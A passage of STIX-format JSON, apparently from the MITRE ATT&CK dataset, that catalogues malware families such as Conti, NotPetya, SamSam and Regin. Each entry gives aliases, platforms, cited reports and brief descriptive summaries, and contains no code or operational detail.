2014.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070305/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf"}],"modified":"2020-06-29T01:54:53.301Z","name":"Regin","description":"[Regin](https://attack.mitre.org/software/S0019) is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some [Regin](https://attack.mitre.org/software/S0019) timestamps date back to 2003. (Citation: Kaspersky Regin)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Bonadan"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328","type":"malware","created":"2020-07-16T14:59:40.051Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0486","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0486"},{"source_name":"ESET ForSSHe December 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf","description":"Dumont, R., M.Léveillé, M., Porcher, H. (2018, December 1). THE DARK SIDE OF THE FORSSHE A landscape of OpenSSH backdoors. Retrieved July 16, 2020."}],"modified":"2020-08-10T19:17:14.766Z","name":"Bonadan","description":"[Bonadan](https://attack.mitre.org/software/S0486) is a malicious version of OpenSSH which acts as a custom backdoor. [Bonadan](https://attack.mitre.org/software/S0486) has been active since at least 2018 and combines a new cryptocurrency-mining module with the same credential-stealing module used by the Onderon family of backdoors.(Citation: ESET ForSSHe December 2018)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SamSam","Samas"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62","type":"malware","created":"2019-04-15T19:40:07.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0370","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0370"},{"source_name":"Samas","description":"(Citation: US-CERT SamSam 2018)"},{"description":"US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.","url":"https://www.us-cert.gov/ncas/alerts/AA18-337A","source_name":"US-CERT SamSam 2018"},{"source_name":"Talos SamSam Jan 2018","url":"https://blog.talosintelligence.com/2018/01/samsam-evolution-continues-netting-over.html","description":"Ventura, V. (2018, January 22). SamSam - The Evolution Continues Netting Over $325,000 in 4 Weeks. Retrieved April 16, 2019."},{"description":" Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.","url":"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf","source_name":"Sophos SamSam Apr 2018"},{"source_name":"Symantec SamSam Oct 2018","url":"https://www.symantec.com/blogs/threat-intelligence/samsam-targeted-ransomware-attacks","description":"Symantec Security Response Attack Investigation Team. (2018, October 30). SamSam: Targeted Ransomware Attacks Continue. Retrieved April 16, 2019."}],"modified":"2019-04-18T20:59:56.853Z","name":"SamSam","description":"[SamSam](https://attack.mitre.org/software/S0370) is ransomware that appeared in early 2016. Unlike some ransomware, its variants have required operators to manually interact with the malware to execute some of its core components.(Citation: US-CERT SamSam 2018)(Citation: Talos SamSam Jan 2018)(Citation: Sophos SamSam Apr 2018)(Citation: Symantec SamSam Oct 2018)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Neoichor"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--4d7bf2ac-f953-4907-b114-be44dc174d67","created":"2022-03-22T17:22:38.233Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0691","url":"https://attack.mitre.org/software/S0691"},{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Neoichor](https://attack.mitre.org/software/S0691) is C2 malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) since at least 2019; similar malware families used by the group include Leeson and Numbldea.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-11T19:34:18.904Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Neoichor","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniyal Naeem, BT Security"],"x_mitre_aliases":["Conti"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","created":"2021-02-17T18:51:57.710Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0575","url":"https://attack.mitre.org/software/S0575"},{"source_name":"Conti","description":"(Citation: CarbonBlack Conti July 2020)(Citation: Cybereason Conti Jan 2021)"},{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"Cybleinc Conti January 2020","url":"https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/","description":"Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021."},{"source_name":"Cybereason Conti Jan 2021","url":"https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware","description":"Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Conti](https://attack.mitre.org/software/S0575) is a Ransomware-as-a-Service (RaaS) that was first observed in December 2019. [Conti](https://attack.mitre.org/software/S0575) has been deployed via [TrickBot](https://attack.mitre.org/software/S0266) and used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)","modified":"2022-04-16T21:43:53.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Conti","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RemoteCMD"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4e6b9625-bbda-4d96-a652-b3bb45453f26","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0166","external_id":"S0166"},{"url":"http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong","description":"Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.","source_name":"Symantec Buckeye"}],"modified":"2020-03-31T12:40:01.208Z","name":"RemoteCMD","description":"[RemoteCMD](https://attack.mitre.org/software/S0166) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to execute commands on a remote system similar to SysInternal's PSEXEC functionality. (Citation: Symantec Buckeye)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Massimiliano Romano, BT Security"],"x_mitre_aliases":["Diavol"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623","created":"2021-11-12T19:02:16.381Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0659","url":"https://attack.mitre.org/software/S0659"},{"source_name":"Diavol","description":"(Citation: Fortinet Diavol July 2021)"},{"source_name":"DFIR Diavol Ransomware December 2021","url":"https://thedfirreport.com/2021/12/13/diavol-ransomware/","description":"DFIR Report. (2021, December 13). Diavol Ransomware. Retrieved March 9, 2022."},{"source_name":"FBI Flash Diavol January 2022","url":"https://www.ic3.gov/Media/News/2022/220120.pdf","description":"FBI. (2022, January 19). Indicators of Compromise Associated with Diavol. Retrieved March 9, 2022."},{"source_name":"Fortinet Diavol July 2021","url":"https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider","description":"Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Diavol](https://attack.mitre.org/software/S0659) is a ransomware variant first observed in June 2021 that is capable of prioritizing file types to encrypt based on a pre-configured list of extensions defined by the attacker. [Diavol](https://attack.mitre.org/software/S0659) has been deployed by [Bazar](https://attack.mitre.org/software/S0534) and is thought to have potential ties to [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Fortinet Diavol July 2021)(Citation: FBI Flash Diavol January 2022)(Citation: DFIR Diavol Ransomware December 2021)","modified":"2022-04-15T00:59:33.522Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Diavol","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Raindrop"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19","type":"malware","created":"2021-01-19T19:43:27.828Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0565","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0565"},{"source_name":"Raindrop","description":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"},{"source_name":"Symantec RAINDROP January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware","description":"Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021."},{"source_name":"Microsoft Deep Dive Solorigate January 2021","url":"https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/","description":"MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."}],"modified":"2021-04-26T12:16:26.590Z","name":"Raindrop","description":"[Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)"],"x_mitre_aliases":["Doki"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","type":"malware","created":"2021-04-06T15:53:34.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0600","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0600"},{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-19T17:45:07.102Z","name":"Doki","description":"[Doki](https://attack.mitre.org/software/S0600) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://attack.mitre.org/software/S0600) was used in conjunction with the [Ngrok](https://attack.mitre.org/software/S0508) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. (Citation: Intezer Doki July 20)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["TEXTMATE","DNSMessenger"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47","type":"malware","created":"2017-05-31T21:33:25.209Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0146","external_id":"S0146"},{"source_name":"TEXTMATE","description":"(Citation: FireEye FIN7 March 2017)"},{"source_name":"DNSMessenger","description":"Based on similar descriptions of functionality, it appears S0146, as named by FireEye, is the same as Stage 4 of a backdoor named DNSMessenger by Cisco's Talos Intelligence Group. However, FireEye appears to break DNSMessenger into two parts: S0145 and S0146. (Citation: Cisco DNSMessenger March 2017) (Citation: FireEye FIN7 March 2017)"},{"url":"https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html","description":"Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.","source_name":"FireEye FIN7 March 2017"},{"url":"http://blog.talosintelligence.com/2017/03/dnsmessenger.html","description":"Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.","source_name":"Cisco DNSMessenger March 2017"}],"modified":"2020-03-30T18:19:25.928Z","name":"TEXTMATE","description":"[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Daniel Prizmant, Palo Alto Networks","Yuval Avrahami, Palo Alto Networks"],"x_mitre_aliases":["Siloscape"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","type":"malware","created":"2021-06-18T15:26:55.509Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0623","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0623"},{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-10-18T13:42:10.432Z","name":"Siloscape","description":"[Siloscape](https://attack.mitre.org/software/S0623) is malware that targets Kubernetes clusters through Windows containers. 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(2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"}],"modified":"2021-04-26T15:59:03.034Z","name":"BlackEnergy","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["zwShell"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--54e8672d-5338-4ad1-954a-a7c986bee530","type":"malware","created":"2019-01-30T17:48:35.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0350","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0350"},{"source_name":"zwShell","description":"(Citation: McAfee Night Dragon)"},{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"modified":"2021-06-16T15:50:05.015Z","name":"zwShell","description":"[zwShell](https://attack.mitre.org/software/S0350) is a remote access tool (RAT) written in Delphi that has been used by [Night Dragon](https://attack.mitre.org/groups/G0014).(Citation: McAfee Night Dragon)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":[],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--552462b9-ae79-49dd-855c-5973014e157f","type":"malware","created":"2017-05-31T21:32:20.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0027","external_id":"S0027"},{"source_name":"Sophos ZeroAccess","description":"Wyke, J. (2012, April). ZeroAccess. Retrieved July 18, 2016.","url":"https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf"}],"modified":"2018-10-17T00:14:20.652Z","name":"Zeroaccess","description":"[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["DRATzarus"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","created":"2022-03-24T11:23:51.435Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0694","url":"https://attack.mitre.org/software/S0694"},{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) is a remote access tool (RAT) that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) to target the defense and aerospace organizations globally since at least summer 2020. [DRATzarus](https://attack.mitre.org/software/S0694) shares similarities with [Bankshot](https://attack.mitre.org/software/S0239), which was used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in 2017 to target the Turkish financial sector.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-12T20:41:58.960Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"DRATzarus","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BOOSTWRITE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--56d10a7f-bb42-4267-9b4c-63abb9c06010","type":"malware","created":"2019-10-11T16:04:31.994Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0415","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0415"},{"description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","source_name":"FireEye FIN7 Oct 2019"}],"modified":"2019-10-15T17:07:57.638Z","name":"BOOSTWRITE","description":"[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046).(Citation: FireEye FIN7 Oct 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Rising Sun"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--56e6b6c2-e573-4969-8bab-783205cebbbf","type":"malware","created":"2020-05-14T22:29:25.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0448","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0448"},{"source_name":"McAfee Sharpshooter December 2018","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}],"modified":"2020-06-30T03:13:38.515Z","name":"Rising Sun","description":"[Rising Sun](https://attack.mitre.org/software/S0448) is a modular backdoor malware used extensively in Operation [Sharpshooter](https://attack.mitre.org/groups/G0104). The malware has been observed targeting nuclear, defense, energy, and financial services companies across the world. [Rising Sun](https://attack.mitre.org/software/S0448) uses source code from [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Trojan Duuzer.(Citation: McAfee Sharpshooter December 2018)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ASPXSpy","ASPXTool"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--56f46b17-8cfa-46c0-b501-dd52fef394e2","type":"malware","created":"2017-05-31T21:32:47.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0073","external_id":"S0073"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}],"modified":"2020-03-30T14:48:21.994Z","name":"ASPXSpy","description":"[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["NotPetya","ExPetr","Diskcoder.C","GoldenEye","Petrwrap","Nyetya"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5719af9d-6b16-46f9-9b28-fb019541ddbb","type":"malware","created":"2019-03-26T15:02:14.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0368","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0368"},{"source_name":"ExPetr","description":"(Citation: ESET Telebots June 2017)"},{"source_name":"Diskcoder.C","description":"(Citation: ESET Telebots June 2017)"},{"source_name":"GoldenEye","description":"(Citation: Talos Nyetya June 2017)"},{"source_name":"Petrwrap","description":"(Citation: Talos Nyetya June 2017)(Citation: ESET Telebots June 2017)"},{"source_name":"Nyetya","description":"(Citation: Talos Nyetya June 2017)"},{"description":"Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.","url":"https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html","source_name":"Talos Nyetya June 2017"},{"source_name":"US-CERT NotPetya 2017","url":"https://www.us-cert.gov/ncas/alerts/TA17-181A","description":"US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019."},{"source_name":"ESET Telebots June 2017","url":"https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/","description":"Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020."},{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020."}],"modified":"2021-04-23T19:31:47.185Z","name":"NotPetya","description":"[NotPetya](https://attack.mitre.org/software/S0368) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) in a worldwide attack starting on June 27, 2017. While [NotPetya](https://attack.mitre.org/software/S0368) appears as a form of ransomware, its main purpose was to destroy data and disk structures on compromised systems; the attackers never intended to make the encrypted data recoverable. As such, [NotPetya](https://attack.mitre.org/software/S0368) may be more appropriately thought of as a form of wiper malware. [NotPetya](https://attack.mitre.org/software/S0368) contains worm-like features to spread itself across a computer network using the SMBv1 exploits EternalBlue and EternalRomance.(Citation: Talos Nyetya June 2017)(Citation: US-CERT NotPetya 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ShimRat"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5763217a-05b6-4edd-9bca-057e47b5e403","type":"malware","created":"2020-05-12T21:28:20.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0444","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0444"},{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-29T03:39:40.754Z","name":"ShimRat","description":"[ShimRat](https://attack.mitre.org/software/S0444) has been used by the suspected China-based adversary [Mofang](https://attack.mitre.org/groups/G0103) in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and 